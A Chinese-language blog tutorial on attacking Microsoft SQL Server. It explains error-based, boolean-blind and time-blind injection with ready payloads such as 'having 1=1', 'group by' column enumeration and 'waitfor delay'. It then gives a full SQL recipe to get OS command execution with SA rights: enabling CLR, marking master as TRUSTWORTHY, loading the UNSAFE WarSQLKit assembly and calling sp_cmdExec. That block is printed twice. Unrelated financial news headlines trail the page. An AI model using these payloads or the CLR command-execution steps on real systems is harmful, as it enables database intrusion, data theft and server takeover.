sqlserver命令注入和getshell
admin
2024-01-20 20:11:53
0

SqlServer基本注入需要知道的知识:

1、MSSql的系统自带数据库:master

2、在网站中,同一个网站一般不会跨库。

3、MSSql中每一个库都有一个系统自带表:sysobjects(这是系统对象表,保存当前数据库的对象)

4、注意sysobjects中的三个字段:NAME、XTYPE、ID

NAME字段是表名信息;

XTYPE字段是表的类型(只有两个参数:S和U;S代表系统表、U代表用户创建表);

ID字段的值用来连接syscolumns表

5、syscolumns表保存当前数据库中的所有字段

6、syscolumns表我们需要查询的字段是NAME字段,Name字段保存的是字段名称

7、top关键字:由于MSSql中没有Limit函数,因此我们想要输出限制的数据就要top +数字

8、MSSql中常用参数:

@@version:查询当前数据库版本

db_name():查询当前数据库名称

user:查询当前用户

9、 IS_SRVROLEMEMBER():查询数据库权限(严格来讲这是个函数,拆分来记srv即server:服务,role:角色,member:成员)

常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin(这些常用权限是是作为上面的函数的参数出现的)

用法如下:select IS_SRVROLEMEMBER('sysadmin');如果是该权限,则会返回1

10、cast函数,可以把查询的数据转换成字符型,这个可以用于报错注入,用法如下:

cast(count(*) as varchar(255))+char(94)

注意加号要换成url编码:%2b否则会报错

11、len()函数,MSSQL中的判断字符长度的函数

12、substring函数,截断字符串的函数

13、waitfor delay '0:0:5'命令是延时五秒的意思

14、if ascii()语句中,ascii的返回值是条件

报错注入

1、首先要用到之前说的cast函数,我们可以根据cast函数将数据转换成字符类型,这一点进行数据类型的不同进行报错注入,因为它会提醒你‘将某个值转换成类型x的时候转换失败’,我们就可以知晓数据需要的类型

2、我们可以用having 1=1爆出第一个字段名,语句如下:

and (select top 1 * from 表名 having 1=1)>1

会报错:“选择列表中的列’表名.列名1’无效,因为该列没有包含在聚合函数或GROUP BY子句中”

3、用group by 来爆出后面的字段,这是由于group by后面跟的字段数要与select查询的字段数一致

and (select top 1 * from 表名 group by 列名1)=1

会报错:“选择列表中的列’表名.列名2’无效,因为该列没有包含在聚合函数或GROUP BY子句中”

下一条语句:

and (select top 1 * from 表名 group by 列名1,列名2)=1

下面还会报上面的错,不过会是下一个字段了,一直往后直到没有上述报错为止。

布尔盲注

和MySQL的注入方式基本一致,但是函数注意是须知知识中的11、12

时间盲注

1、我们使用if ascii(substring())=x waitfor delay '0:0:5'来判断字符的值,若是前面的条件符合,则等待五秒

2、一条一条的向下寻找后面的字符

SA权限使用CLR 执行系统命令
创建CLR有两种方式:

使用DLL文件进行创建
使用文件16进制流进行创建
启用CLR功能
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
-- 如果存在权限问题,执行下面命令
alter database [master] set TRUSTWORTHY on  --后续要导入不安全的程序集,因此将数据库标记为安全
EXEC sp_changedbowner 'sa'

--导入程序集
CREATE ASSEMBLY [WarSQLKit] 
    AUTHORIZATION [dbo] FROM 十六进制数据 
    WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER 
    AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;

—- 执行命令
EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec ’whoami‘

-- 删除程序集
DROP PROCEDURE sp_cmdExec;
DROP ASSEMBLY [WarSQLKit];
 

exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
-- 如果存在权限问题,执行下面命令
alter database [master] set TRUSTWORTHY on  --后续要导入不安全的程序集,因此将数据库标记为安全
EXEC sp_changedbowner 'sa'--导入程序集
CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 十六进制数据 WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;—- 执行命令
EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec ’whoami‘-- 删除程序集
DROP PROCEDURE sp_cmdExec;
DROP ASSEMBLY [WarSQLKit];

相关内容

热门资讯

【IPO追踪】零成交常态化,解... 港股市场最尴尬的处境,莫过于股价跌跌不休,连交易都无人问津。6月24日,美联股份(02671.HK)...
SK海力士冲刺美国上市,ADR... 若顺利完成,相关交易最快有望于下个月启动,并成为韩国企业历史上规模最大的海外股权融资项目之一。 人工...
伯恩斯坦:锂价上行周期远未结束... 6月23日消息,伯恩斯坦最新研报中上调锂价预测,并将 天齐锂业(002466.SZ)A股目标价从73...
原创 全... 中国与印度尼西亚之间,正在上演一场围绕镍矿资源的激烈博弈。令人颇感意外的是,这场博弈的主动挑起者竟然...
企业出海ESG合规与可持续发展... 中新网北京6月24日电 (记者 尹倩芸)2026年北京市“走出去”系列活动——企业出海ESG合规与可...
原创 中... 聊到现在的楼市,身边人想法差得挺远。有人还在等跌,觉得再观望一阵更稳妥。也有人盯上了官方最近放的几个...
企业微信Agent内测悄启 主... 继微信AI助手开启内测后,企业微信紧跟步伐开启了AI助手的内测,但跟微信嵌入的不是同一个Agent。...
马斯克官宣Starmind太空... IT之家 6 月 24 日消息,埃隆 · 马斯克(Elon Musk)今天(6 月 24 日)在 X...
5000亿市值巨头,盘中涨停 6月24日午后,立讯精密股价直线拉升,盘中触及涨停后开板。截至发稿,该股报75.39元/股,涨8.6...
中兴通讯爱理财?额度2年翻倍至... 图片来源:图虫创意 钱的流向,往往折射出一家企业的战略重心。 6月17日,中兴通讯在深圳召开股东大会...
中国掌控全球过半铜冶炼产能,美... 【文/观察者网 王恺雯】 面对中国在铜冶炼和精炼上的主导地位,美国试图通过关税及工业政策复兴国内铜产...
年内92宗IPO获受理 创业板... 来源:滚动播报 (来源:北京商报) 随着创业板深化改革持续推进,今年创业板IPO申报热度攀升,替代北...
SpaceX跌破IPO首日开盘... 来源:滚动播报 来源:中国基金报 【导读】SpaceX股价连续重挫 中国基金报记者 张舟 Space...
酒庄头条:在郎酒庄园,看见世界... 文/酒庄头条 中国酒业该向何处去?又如何走向国际市场?酿酒业是有根产业历史经典产业,郎酒以全球视野开...
100个选基指标|利润总额,真... 推荐阅读: 100个选基指标丨自然年度收益率,最简单,也最重要(第一期) 100个选基指标丨区间收益...
连云港开发区为AI“制药”按下... 从人才赋能、校地协同到产业落地,今年以来,连云港开发区通过一系列密集举措构建起全链条、立体化的产业赋...
1.08亿控股德维嘉:无锡振华... 一家传统汽车冲压件上市公司,正试图用一笔亿元级别的现金收购,为自己贴上“汽车智能化”的标签。 6月2...
ATFX:SpaceX下跌16... 来源:市场资讯 6月23日,ATFX汇评:美国航空航天代表性个股SpaceX,上市六个交易日,三个交...
嘉实基金李涛:长期视角决策未来... 嘉实成长共赢混合基金经理李涛表示, 投资理财本质上是一场长期主义的远行,权益投资本质是追求赚取产业与...
震裕科技可转债发行申请获深交所... 雷达财经 文|苏静 编|深海 6月23日, 震裕科技(300953)发布关于公司向不特定对象发行可转...